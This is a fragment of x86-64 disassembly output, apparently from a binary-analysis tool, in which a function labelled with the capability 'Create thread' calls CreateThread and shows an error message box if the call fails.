xor r8d, r8d
call fcn.14000da44
lea rdx, [rbx + 0x118]
mov rcx, rbx
call fcn.14000a79c
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.14014b380
lea r11, [rsp + 0x1b0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x14000a79c
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rsi, rcx
mov ecx, 0x110
mov rdi, rdx
call fcn.14000ab40
mov rdx, rdi
lea rcx, [rax + 8]
mov rbx, rax
call fcn.14014c230
mov r11, qword [rsi + 0x40]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
and dword [rsp + 0x20], 0
lea r8, [0x14000a298]
mov r9, rsi
xor edx, edx
xor ecx, ecx
mov qword [rbx], r11
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x14000a814
lea r8, str.Error
lea rdx, [0x140211338]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14000a81d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret